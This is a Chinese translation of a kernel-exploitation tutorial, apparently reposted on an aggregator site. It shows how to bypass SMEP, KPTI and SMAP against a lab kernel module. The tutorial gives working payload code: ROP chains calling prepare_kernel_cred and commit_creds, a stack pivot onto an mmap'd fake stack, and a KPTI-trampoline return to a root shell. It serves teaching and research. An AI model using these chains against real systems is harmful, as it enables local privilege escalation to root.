linux内核提取ret2usr,Linux内核漏洞利用技术详解 Part 2

2ebc0bb811849bb2d72aab9b5e267692.png

前言

在上一篇文章中,我们不仅为读者详细介绍了如何搭建环境,还通过一个具体的例子演示了最简单的内核漏洞利用技术:ret2usr。在本文中,我们将逐步启用更多的安全防御机制,即SMEP、KPTI和SMAP,并逐一解释它们将如何影响我们的漏洞利用方法,以及如何绕过这些防御机制。

启用SMEP机制

SMEP简介

SMEP(Supervisormode execution protection,SMEP)机制的作用是,当进程在内核模式下运行时,该防御机制会将页表中的所有用户空间的内存页标记为不可执行的。在内核中,这个功能可以通过设置控制寄存器CR4的第20位来启用。在启动时,可以通过在-cpu选项下加入+smep来启用该防御机制,通过在-append选项下加入nosmep来禁用该机制。

在上一篇文章中,我们曾经通过自己编写的一段代码获得了root权限;但是,在启用了SMEP机制后,这个策略就行不通了。原因很简单:我们的代码是位于用户空间中的,但是,就像前面说过的那样,当进程在内核模式下运行时,SMEP机制会将存放我们代码的页面标记为不可执行。再回想一下,我们大多数人学习用户空间pwn的时候,也会遇到堆栈不可执行的情况,所以,在学习了ret2shellcode之后,通常就会开始接触ROP技术。同样的概念也适用于内核漏洞利用的学习,在介绍ret2usr技术之后,我将介绍内核ROP技术。

注意事项:正如我在第一篇文章中提到的,这里将假设读者已经熟悉了用户空间的漏洞利用知识,因此,我就不再重复解释什么是ROP了。不过,这是一种非常基础的技术,所以,读者可以在网上找到大量介绍资料。

为了更广泛的涵盖不同的漏洞利用技术,我将假设2种不同的场景,并分别加以详细介绍:第一种场景就是我们当前面对的:我们能够向内核栈写入任意数量的数据。

第二种场景是:我们只能覆盖内核栈的返回地址。这将使漏洞利用变得更困难一些。

让我们从研究第一种场景开始下手。

尝试覆盖CR4

如上所述,在内核中,控制寄存器CR4的第20位负责启用或禁用SMEP机制。而实际上,在内核模式下运行的时候,我们可以通过mov cr4,rdi等asm指令来修改这个寄存器的内容。这样的指令来自于一个叫native_write_cr4()的函数,它可以用参数覆盖CR4的内容,并且,该函数本身就驻留在内核空间中。所以,为了绕过SMEP防御机制,我们首先可以尝试利用ROP技术跳转到native_write_cr4(value)函数,其中value是精心构造的一个值,可以将CR4的第20位清零。

与commit_creds()和prepare_kernel_cred()函数一样,我们也可以通过阅读/proc/kallsyms找到该函数的地址。

cat /proc/kallsyms | grep native_write_cr4

-> ffffffff814443e0 T native_write_cr4

重要提示:对于本文中将要介绍的所有漏洞利用过程,我们只解释与ret2usr技术不同的部分。与上一篇完全相同的部分是:保存状态、打开设备、泄漏栈cookie。

实际上,在内核中构建ROP链的方式与在用户空间中使用的方式是完全一致的。因此,在这里,我们不会立即返回到用户空间的代码中,而是先返回到native_write_cr4(value)中,再返回到我们的提权代码中。为了获取CR4寄存器的当前值,我们可以触发内核崩溃,并将其转储出来(或者在内核上附加一个调试器),以得到该值。

[    3.794861]CR2: 0000000000401fd9 CR3: 000000000657c000 CR4: 00000000001006f0

然后,将第20位(地址为0x100000)清零,使该值变为0x6F0。下面给出相应的payload:

unsigned long pop_rdi_ret = 0xffffffff81006370;

unsigned long native_write_cr4 = 0xffffffff814443e0;

void overflow(void){

unsigned n =50;

unsignedlong payload[n];

unsigned off= 16;

payload[off++] = cookie;

payload[off++] = 0x0; // rbx

payload[off++] = 0x0; // r12

payload[off++] = 0x0; // rbp

payload[off++] = pop_rdi_ret; // return address

payload[off++] = 0x6f0;

payload[off++] = native_write_cr4; // native_write_cr4(0x6f0),effectively clear the 20th bit

payload[off++] = (unsigned long)escalate_privs;

puts("[*] Prepared payload");

ssize_t w =write(global_fd, payload, sizeof(payload));

puts("[!] Should never be reached");

}

对于像pop rdi ; ret这样的gadget,我们可以通过grepping gadgets.txt轻松找到它们,这个文件是在第一篇文章中通过在内核映像上运行ROPgadget生成的。

注意:在内核映像文件vmlinux中,好像并没有提供某区段是否可执行的信息,所以,ROPgadget会试图找出位于该二进制文件中的所有gadget,甚至包括那些不可执行的gadget。也就是说,当我们使用ROPgadget找出的gadget时,如果它是不可执行的,那么内核就会发生崩溃;不过,我们也不必过于担心,这时只需要尝试下一个gadget就行了。

理论上讲,运行上述代码后,我们应该会得到一个root shell。然而,在现实中,内核仍然崩溃,更令人困惑的是,崩溃的原因是SMEP机制所致:

[    3.770954]unable to execute userspace code (SMEP?) (uid: 1000)

如果我们已经将第20位清零的话,为什么SMEP机制仍然生效呢?我决定用dmesg来看看CR4到底发生了什么状况,结果发现了下面这行内容:

[    3.767510]pinned CR4 bits changed: 0x100000!?

由此看来,CR4的第20位被莫名其妙的“定住”了。为了弄清楚到底咋回事,我找到了native_write_cr4()函数的源代码:

void native_write_cr4(unsigned long val)

{

unsigned longbits_changed = 0;

set_register:

asmvolatile("mov %0,%%cr4": "+r" (val) : :"memory");

if(static_branch_likely(&cr_pinning)) {

if(unlikely((val & cr4_pinned_mask) != cr4_pinned_bits)) {

bits_changed= (val & cr4_pinned_mask) ^ cr4_pinned_bits;

val =(val & ~cr4_pinned_mask) | cr4_pinned_bits;

gotoset_register;

}

/* Warnafter we've corrected the changed bits. */

WARN_ONCE(bits_changed,"pinned CR4 bits changed: 0x%lx!?\n",

bits_changed);

}

}

此外,我们还找到了一份与CR4相关位被定住的相关文档。通过它,我们才知道,在较新的内核版本中,CR4的第20位和第21位在启动时就被“定住”了,即使该位被清零,也会立即重新被置1,所以,我们已经无法使用前面的方法来覆盖它了!

所以,我的第一次尝试以失败而告终,不过,我们还是有一定的收获的,至少我们现在知道,即使我们能够在内核模式下覆盖CR4,但内核开发者已经意识到了这一点,并设法阻止我们用这种方式来利用内核漏洞。好吧,让我们继续开发一个更强大的、真正有效的漏洞利用方法。

构建一个完整的提权ROP链

在第二次尝试中,我们将彻底放弃通过运行自己的代码来获取root权限的想法,并尝试只使用ROP来实现这一任务。实际上,我们的计划非常简单:通过ROP转到prepare_kernel_cred(0)。

通过ROP转到commit_creds(),参数为步骤1的返回值。

通过ROP转到swapgs ;ret。

通过ROP转到iretq,堆栈设置为RIP|CS|RFLAGS|SP|SS。

如您所见,该ROP链本身一点都不复杂,但在构建过程中,仍然面临一些问题。首先,正如我上面提到的,ROPgadget找到的许多gadget是无法正常使用的。因此,我不得不进行多次尝试,最后用这些gadget把步骤1中的返回值(存储在rax中)移到rdi中,以传递给commit_creds();不过奇怪的是,我尝试的所有gadget都是不可执行的:

unsigned long pop_rdx_ret = 0xffffffff81007616; // poprdx ; ret

unsigned long cmp_rdx_jne_pop2_ret =0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cbb ; pop rbx ; pop rbp; ret

unsigned long mov_rdi_rax_jne_pop2_ret =0xffffffff8166fea3; // mov rdi, rax ; jne 0xffffffff8166fe7a ; pop rbx ; poprbp ; ret

使用这3个gadget的目的,是在不使用jne的情况下将rax移入rdi。 因此,我必须将值8弹出到rdx中,然后返回到cmp指令以使比较的结果为相等,从而确保我们不会跳转到jne分支:

...

payload[off++] = pop_rdx_ret;

payload[off++] = 0x8; // rdx

payload[off++] = cmp_rdx_jne_pop2_ret; // make sureJNE doesn't branch

payload[off++] = 0x0; // dummy rbx

payload[off++] = 0x0; // dummy rbp

payload[off++] = mov_rdi_rax_jne_pop2_ret; // rdi

payload[off++] = 0x0; // dummy rbx

payload[off++] = 0x0; // dummy rbp

payload[off++] = commit_creds; //commit_creds(prepare_kernel_cred(0))

...

其次,看起来ROPgadget在寻找swapgs方面非常擅长,但是它却找不到iretq,所以,我必须借助于objdump来查找iretq:

objdump -j .text -d ~/vmlinux | grep iretq | head -1

-> ffffffff8100c0d9:       48 cf                   iretq

有了这些gadget,我们就可以构建完整的ROP链了:

unsigned long user_rip = (unsigned long)get_shell;

unsigned long pop_rdi_ret = 0xffffffff81006370;

unsigned long pop_rdx_ret = 0xffffffff81007616; // poprdx ; ret

unsigned long cmp_rdx_jne_pop2_ret =0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cbb ; pop rbx ; pop rbp; ret

unsigned long mov_rdi_rax_jne_pop2_ret =0xffffffff8166fea3; // mov rdi, rax ; jne 0xffffffff8166fe7a ; pop rbx ; poprbp ; ret

unsigned long commit_creds = 0xffffffff814c6410;

unsigned long prepare_kernel_cred =0xffffffff814c67f0;

unsigned long swapgs_pop1_ret = 0xffffffff8100a55f; //swapgs ; pop rbp ; ret

unsigned long iretq = 0xffffffff8100c0d9;

void overflow(void){

unsigned n =50;

unsignedlong payload[n];

unsigned off= 16;

payload[off++] = cookie;

payload[off++] = 0x0; // rbx

payload[off++] = 0x0; // r12

payload[off++] = 0x0; // rbp

payload[off++]= pop_rdi_ret; // return address

payload[off++] = 0x0; // rdi

payload[off++] = prepare_kernel_cred; // prepare_kernel_cred(0)

payload[off++] = pop_rdx_ret;

payload[off++] = 0x8; // rdx

payload[off++] = cmp_rdx_jne_pop2_ret; // make sure JNE doesn't branch

payload[off++] = 0x0; // dummy rbx

payload[off++] = 0x0; // dummy rbp

payload[off++] = mov_rdi_rax_jne_pop2_ret; // rdi

payload[off++] = 0x0; // dummy rbx

payload[off++] = 0x0; // dummy rbp

payload[off++] = commit_creds; //commit_creds(prepare_kernel_cred(0))

payload[off++] = swapgs_pop1_ret; // swapgs

payload[off++] = 0x0; // dummy rbp

payload[off++] = iretq; // iretq fr ame

payload[off++] = user_rip;

payload[off++] = user_cs;

payload[off++] = user_rflags;

payload[off++] = user_sp;

payload[off++] = user_ss;

puts("[*] Prepared payload");

ssize_t w =write(global_fd, payload, sizeof(payload));

puts("[!] Should never be reached");

}

这样,我们成功地构建了一个绕过SMEP机制,并能在第一种场景下打开root shell的漏洞利用代码。让我们继续看看在第二种情况下,我们可能会面临什么样的困难。

堆栈pivot技术

很明显,如果我们只能溢出到返回地址的话,将无法把整个ROP链都装到栈中。为了克服这个问题,我们将再次使用一种在用户空间漏洞利用领域也相当流行的技术:堆栈pivot。这是一种修改rsp,使其指向一个受控的可写地址,从而有效地创建了一个“假栈”的技术。然而,对于用户空间中的堆栈pivot技术来说,常常需要覆盖一个已保存的函数RBP,然后从那里返回;而在内核中的pivot技术则简单得多。因为内核映像存在大量的gadget,我们可以寻找那些修改rsp/esp本身的gadget。我们最感兴趣的,就是那些将常量值移入esp的gadget,同时,还要确保这些gadget是可执行的,并且常量值是已经正确对齐的。下面展示的是我选用的gadget:

unsigned long mov_esp_pop2_ret = 0xffffffff8196f56a;// mov esp, 0x5b000000 ; pop r12 ; pop rbp ; ret

也就是说,我们将用它来覆盖返回地址,但在此之前,我们必须先搭建好“假栈”。由于之后esp会变成0x5b000000,因此,我们可以在该位置映射一个固定的内存页,然后将我们的ROP链写入其中:

void build_fake_stack(void){

fake_stack =mmap((void *)0x5b000000 - 0x1000, 0x2000, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0);

unsigned off= 0x1000 / 8;

fake_stack[0] = 0xdead; // put something in the first page to preventfault

fake_stack[off++] = 0x0; // dummy r12

fake_stack[off++] = 0x0; // dummy rbp

fake_stack[off++] = pop_rdi_ret;

... // therest of the chain is the same as the last payload

}

在上面的代码中,有2个地方需要注意:我把内存页映射到了一个区间0x5b000000-0x1000,而不是精确的地址0x5b000000。这是因为像prepare_kernel_cred()和commit_creds()这样的函数,会调用内部的其他函数,导致堆栈增长。如果我们让esp指向页面的确切起始点,堆栈就没有足够的空间来增长,就会崩溃。

我必须在第一页中写入一个虚设值,否则就会导致Double Fault故障。根据我的理解,原因是页面只有在被访问后才会被插入到页表中,而不是在被映射后就会插入。我们映射了0x2000字节,相当于2个页面,并且把ROP链全部放在第二页中,所以,我们也要访问一下第一页。

上面就是在只能溢出栈到返回地址的情况下,获得一个root shell的具体方法。我对绕过SMEP的介绍也到此结束,接下来,让我们再启用另外一个防御措施,即KPTI。

启用KPTI机制

关于KPTI

KPTI(Kernelpage-table isolation)是将用户空间和内核空间的页表完全隔离,而不是只使用一组同时包含用户空间和内核空间地址的页表的安全机制。跟以前一样,仍然有一组页表同时包含内核空间和用户空间地址,但它仅在系统运行在内核模式时使用。在用户模式下使用的第二组页表包含用户空间的副本和最少的内核空间地址集。KPTI机制可以通过在-append选项下添加kpti=1或nopti来启用/禁用。

这个特性是内核特有的,准确来说,它是为了防止Linux内核崩溃而引入的,因此,在用户空间中,没有相应的机制可以与之类比。首先,试图运行上一节中的任何漏洞利用代码都会导致死机。但有趣的是,死机是正常的用户空间Segmentation故障所致,而不是内核崩溃所致。原因是:虽然代码已经从内核模式返回到用户模式,但它所使用的页表仍然是内核的,而用户空间的所有页面都被标记为不可执行。

实际上,绕过KPTI机制的方法一点都不复杂,例如下面是我在一些文章中读到的两种方法:使用信号处理程序(该方法源自@ntrung03撰写的一篇文章):这是一个非常巧妙的解决方案,并且非常简单。这种方法的思路是,因为我们要处理的是用户空间中的一个SIGSEGV,因此,可以直接在main函数中插入一行代码:signal(SIGSEGV, get_shell);,为其添加一个调用get_shell()的信号处理程序。不过我还是没有完全理解一件事情:因为不管出于什么原因,即使处理程序get_shell()本身也驻留在不可执行的页面中,但如果捕捉到一个SIGSEGV,它仍然可以正常执行(而不是无限期地循环处理程序或执行默认处理程序或未定义的行为等),但它确实管用。

使用KPTI蹦床(被大多数相关文章所采用):这个方法是基于这样的想法,即如果一个syscall正常返回,内核中一定有一段代码会把页表换回用户空间的页表,所以我们可以尝试重用那段代码来达到自己的目的。这段代码通常被称为KPTI蹦床,它的作用是切换页表、swapgs和iretq。我们将深入研究这种方法。

调整ROP链

这段代码驻留在一个名为swapgs_restore_regs_and_return_to_usermode()的函数中,我们也可以通过阅读/proc/kallsyms找到它的地址。

cat /proc/kallsyms | grepswapgs_restore_regs_and_return_to_usermode

-> ffffffff81200f10 Tswapgs_restore_regs_and_return_to_usermode

我们可以使用IDA考察该函数的开头部分:

.text:FFFFFFFF81200F10                 pop     r15

.text:FFFFFFFF81200F12                 pop     r14

.text:FFFFFFFF81200F14                 pop     r13

.text:FFFFFFFF81200F16                 pop     r12

.text:FFFFFFFF81200F18                 pop     rbp

.text:FFFFFFFF81200F19                 pop     rbx

.text:FFFFFFFF81200F1A                 pop     r11

.text:FFFFFFFF81200F1C                 pop     r10

.text:FFFFFFFF81200F1E                 pop     r9

.text:FFFFFFFF81200F20                 pop     r8

.text:FFFFFFFF81200F22                 pop     rax

.text:FFFFFFFF81200F23                 pop     rcx

.text:FFFFFFFF81200F24                 pop     rdx

.text:FFFFFFFF81200F25                 pop     rsi

.text:FFFFFFFF81200F26                 mov     rdi, rsp

.text:FFFFFFFF81200F29                 mov     rsp, qword ptr gs:unk_6004

.text:FFFFFFFF81200F32                 push    qword ptr [rdi+30h]

.text:FFFFFFFF81200F35                 push    qword ptr [rdi+28h]

.text:FFFFFFFF81200F38                 push    qword ptr [rdi+20h]

.text:FFFFFFFF81200F3B                 push    qword ptr [rdi+18h]

.text:FFFFFFFF81200F3E                 push    qword ptr [rdi+10h]

.text:FFFFFFFF81200F41                 push    qword ptr [rdi]

.text:FFFFFFFF81200F43                 push    rax

.text:FFFFFFFF81200F44                 jmp     short loc_FFFFFFFF81200F89

...

如您所见,它首先通过从堆栈中弹出的值来恢复大量寄存器。但是,我们真正感兴趣的是它切换页表、swaps和iretq的部分,而不是这一部分。虽然只需将ROP插入该函数的开头处即可正常工作,但由于这需要插入许多虚设的寄存器值,因此,会不必要地扩大了我们的ROP链的长度。这样的话,我们的KPTI蹦床将位于swapgs_restore_regs_and_return_to_usermode + 22处,这就是第一个mov指令的地址。

恢复初始寄存器后,以下才是对我们有用的部分:

.text:FFFFFFFF81200F89 loc_FFFFFFFF81200F89:

.text:FFFFFFFF81200F89                               pop     rax

.text:FFFFFFFF81200F8A                               pop     rdi

.text:FFFFFFFF81200F8B                               call    cs:off_FFFFFFFF82040088

.text:FFFFFFFF81200F91                               jmp    cs:off_FFFFFFFF82040080

...

.text.native_swapgs:FFFFFFFF8146D4E0                 push    rbp

.text.native_swapgs:FFFFFFFF8146D4E1                 mov     rbp, rsp

.text.native_swapgs:FFFFFFFF8146D4E4                 swapgs

.text.native_swapgs:FFFFFFFF8146D4E7                 pop     rbp

.text.native_swapgs:FFFFFFFF8146D4E8                 retn

...

.text:FFFFFFFF8120102E                               mov     rdi, cr3

.text:FFFFFFFF81201031                               jmp     short loc_FFFFFFFF81201067

...

.text:FFFFFFFF81201067                               or      rdi, 1000h

.text:FFFFFFFF8120106E                               mov     cr3, rdi

...

.text:FFFFFFFF81200FC7                               iretq

注意,由于开头部分多了2个pop指令,所以,我们必须在ROP链中放入2个虚设值。之后的代码用于实现页表切换,即通过修改控制寄存器CR3来切换页表,最后是iretq。我们将修改ROP链的最后一部分,从SWAPGS|IRETQ|RIP|CS|RFLAGS|SP|SS 调整为 KPTI_trampoline|dummyRAX|dummy RDI|RIP|CS|RFLAGS|SP|SS 。

void overflow(void){

// ...

payload[off++] = commit_creds; // commit_creds(prepare_kernel_cred(0))

payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode+ 22

payload[off++] = 0x0; // dummy rax

payload[off++] = 0x0; // dummy rdi

payload[off++] = user_rip;

payload[off++] = user_cs;

payload[off++] = user_rflags;

payload[off++] = user_sp;

payload[off++]= user_ss;

// ...

}

小贴士:这个payload不仅比上一节介绍的payload更易于构建,同时,无论是否启用KPTI机制,它都能正常工作(大多数时候KPTI会和SMEP一起启用)。因此,建议将其作为默认payload;对于之前的payload,只可用于演示。在面对第二种情况时,可以将堆栈用作跳板,并将这个payload放到伪造的堆栈中。

至此,我们就干净利落地绕过了KPTI安全机制。下面,让我们进入本文的最后一节,讨论一下SMAP机制的相关问题。

启用SMAP机制

SMAP(SupervisorMode Access Prevention,SMAP),是为了补充SMEP而引入的一种缓解机制:当进程处于内核模式时,该机制会将页表中所有用户空间的内存页标记为不可访问,也就是说不能对其进行读写操作。在内核中,可以通过设置控制寄存器CR4的第21位来启用这个防御机制;在启动时,可以通过在-cpu选项下加入+smap来启用该机制,通过在-append选项下加入nosmap来禁用该机制。

在两种场景下,情况会有很大的不同:在第一种场景下,我们的整个ROP链都存储在内核堆栈上,并且不会从用户空间访问任何数据。因此,我们之前的payload仍然是可用的,无需任何修改。

在第二种场景下,我们实际上是将堆栈转变成了用户空间的一个内存页面。我们知道,对于像压入和弹出堆栈这样的操作,是需要对堆栈进行读写访问的,而SMAP机制则禁止进行这些操作。因此,基于堆栈pivot的payload将无法使用。事实上,据我所知,我们目前针对栈的读写原语还不足以成功利用该漏洞,所以,我们需要更强大的原语来利用内核模块的漏洞,这可能涉及到内存页表和页目录方面的知识,或者其他一些高级主题。对于本文来说,这些主题太复杂了,这里就不深入介绍了。如果将来有机会,我们再进行介绍。

小结

在这篇文章中,我为读者演示了在2种不同的情况下绕过SMEP、KPTI和SMAP等安全机制的流行方法;其中,第一种情况是我们能够在堆栈上有无限溢出,第二种情况则是没有这种能力。本文中,我们介绍所有的漏洞利用技术都是围绕ROP的概念进行的,并且要借助于内核自身中的多个gadget和代码片段。

附录

本文由secM整理并翻译,不代表白帽汇任何观点和立场

来源:https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/561279.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

raid5坏了一块盘怎么办_机械硬盘的坏道处理——屏蔽之

分享一次处理硬盘坏道的经历。打算写的让小白也能照着葫芦画葫芦。机械硬盘的阿喀琉斯之踵无疑是坏道。倘若一块硬盘出现了坏道怎么办?当然是即刻备份资料更换新硬盘。毫无疑问,二手硬盘几乎都是被榨干的状态,活生生地一副论斤卖的样子。当然…

linux 嵌入式 交叉 环境搭建 实验原理,实验三 嵌入式Linux开发环境的搭建

南京邮电大学通达学院实 验 报 告实验 实验三题目 嵌入式Linux开发环境的搭建 课程名称 嵌入式驱动开发实验 学院 专业 班 实验者学号同做者学号 08002210 姓名 毛骏超 同做者学号 08002225 姓名 陈超/ 嵌入式应用开发实验成绩 评定一、实验目的1.掌握嵌入式交叉编译环境的搭建…

insert into select 优化_数据库优化总结

第一部分:SQL语句优化1、尽量避免使用select *,使用具体的字段代替*,只返回使用到的字段。2、尽量避免使用in 和not in,会导致数据库引擎放弃索引进行全表扫描。SELECT * FROM t WHERE id IN (2,3)SELECT * FROM t1 WHERE usernam…

.npy文件_python——文件读写

一:Python中读写文件的方法1.open()函数open(file,moder,buffering-1,encodingNone,errorsNone,newlineNone,closefdTrue,openerNone)file : 是一个 path-like object,表示将要打开的文件的路径,可以是绝对…

react native loading动画_React高级进阶指南

懒加载React.lazy函数能让你像渲染常规组件一样处理动态引入(的组件)。 Suspense加载指示器为组件做优雅降级。 fallback属性接受任何在组件加载过程中你想展示的 React 元素。const OtherComponent React.lazy(() > import(./OtherComponent));function MyComponent() { r…

在一起计时器_古典计时器简介之一 qqtimer

可持续水文的路子又多了一条。在这一系列古典计时器中,qqtimer的地位有些特殊,因为现在还有不少人使用它,而之后要介绍的其他计时器已经基本没啥人用了。有两位最知名的WR日常练习的计时器都是它。首先是Feliks Zemdegs,虽然他已经…

管理节点连接不上sql节点_质量成本管理:成本控制、成本分析、费用使用流程与节点说明...

关注【本头条号】更多关于制度、流程、体系、岗位、模板、方案、工具、案例、故事、图书、文案、报告、技能、职场等内容,弗布克15年积累免费与您分享!阅读导航→01 质量成本控制流程与节点02 质量成本分析流程与节点03 质量费用使用控制流程与节点质量部…

springmvc工作流程_SpringMVC工作原理

买了好多书,但是没有一本是看完的,这是看完的第一本书,虽然页数不多、技术早就用了老多遍了,还是总结一下吧!一、MVC模式MVC是 model、view、和controller的缩写,分别代表web应用程序中的三种职责&#xff…

sql查找一个范围的值_销售需求丨查找问题

BOSS:茶,那个,什么茶来着?(递过一杯茶...)BOSS:?!!不是这个,我是说那个白茶啊!白茶:......(懵)咋滴…

pandas输出到excel_学Python还不会处理Excel数据?带你用pandas玩转各种数据处理

开场白以前学习 Python 的 pandas 包时,经常到一些 excel 的论坛寻找实战机会。接下来我会陆续把相关案例分享出来,还会把其中的技术要点做详细的讲解。本文要点:使用 xlwings ,如同 vba 一样操作 excel使用 pandas 快速做透视表注…

cadence设计运算放大器_21.比较器的原理与特性,它与运算放大器的本质区别总结归纳...

1.电压比较器的工作原理电压比较器,顾名思义,就是两个输入端的其中一个作为基准,另外一个与基准作比较,输出只存在高电平和低电平两种状态。通过电压比较器,可以将模拟信号转变为数字信号。输入引脚的电位 > -输入引…

插入排序最优_排序专题插入排序

今天开始,我计划用几篇专题来集中练习下有关排序的算法,排序算法是算法中最基础的算法了,所以这部分我们是要尽可能的全都掌握了。排序算法最常见的有如下几种:插入排序(Insertion Sort)选择排序(Selection Sort)希尔排序(Shell S…

c语言设计指导实训,C语言程序设计实训指导

与《c语言程序设计(第2版)》配套,给出所有习题及参考答案。按知识点,精选12个典型实训,给出实训目的与要求、实训内容及实训参考程序。附有自测(考试)样卷及参考答案,供读者自测。提供Turbo C 2.0上机环境介绍及常见的Turbo C 2.0…

python程序代码_python基础二

Python基础-注释的引入注释的分类:<1>单行注释:以#开头&#xff0c;#右边的所有文字当作说明&#xff0c;而不是真正要执行的程序&#xff0c;起辅助说明作用多行注释用三个单引号 ‘’’ 或者三个双引号 “”" 将注释括起来&#xff0c;例如:1、单引号&#xff08;…

电气自动化c语言实践操作论文,项目实践论文,关于独立学院电气工程其自动化专业基于CDIO的实践模式相关参考文献资料-免费论文范文...

导读:本文关于项目实践论文范文,可以做为相关论文参考文献,与写作提纲思路参考。(广州大学松田学院 广东广州 511370)摘 要&#xff1a;独立学院作为培养应用型人才的新生力量,要与地方经济社会发展相衔接,培养满足地方经济社会发展需要的、高素质的应用型人才.如何培养符合广东…

linux里用c实现cat_【案例】用T云做了什么能让企业在工业自动化控制系统行业里实现逆向增长?...

从制造至“智”造&#xff0c;工业正在逐步向自动化、智能化方向深入发展。行业背景&#xff1a;受疫情影响&#xff0c;2020年&#xff0c;上半年雪虐风饕&#xff0c;自动化市场需求下滑&#xff0c;随着后期政策红利推出&#xff0c;市场回暖&#xff0c;上半年的自动化需求…

微软符号服务器 2020年_微软介绍了2020年后它将如何淘汰Edge中的Flash支持

Microsoft Edge微软(通过Bleeping Computer)提供了更多关于它将如何放弃对Flash in Edge的支持以符合Adobe的计划的细节&#xff0c;包括一些值得注意的例外。正如所料&#xff0c;默认情况下&#xff0c;Edge将从2020年12月起禁用闪存。2020年6月之前发布的Flash版本将被完全屏…

深入jvm虚拟机第三版源码_深入JVM虚拟机,阿里架构师直言,这份文档真的是JVM最深解读...

作为一名优秀的 Java 开发程序员&#xff0c;以及想那些想要学习 Java 更深层一点的知识的同学&#xff0c;对 JVM 的熟悉与熟练使用是必不可缺的核心技能了&#xff0c;也是每个 Java 程序员应该要做到的。深入学习 JVM 可以有助于我们掌握 Java 应用程序是如何运作的&#xf…

android 信鸽 自动重启,Android简单集成信鸽推送

添加项目的buid.gradlendk {//选择要添加的对应cpu类型的.so库abiFilters armeabi, armeabi-v7a, arm64-v8a// 还可以添加 x86, x86_64, mips, mips64}manifestPlaceholders [XG_ACCESS_ID:"2100332371",XG_ACCESS_KEY : "ABRD93KT147K",]依赖//采集安装列…

python变量类型是动态的_python内存动态分配过程详解

一、前言 大多数编译型语言&#xff0c;变量在使用前必须先声明&#xff0c;其中C语言更加苛刻&#xff1a;变量声明必须位于代码块最开始&#xff0c;且在任何其他语句之前。其他语言&#xff0c;想C和java,允许“随时随地”声明变量&#xff0c;比如&#xff0c;变量声明可以…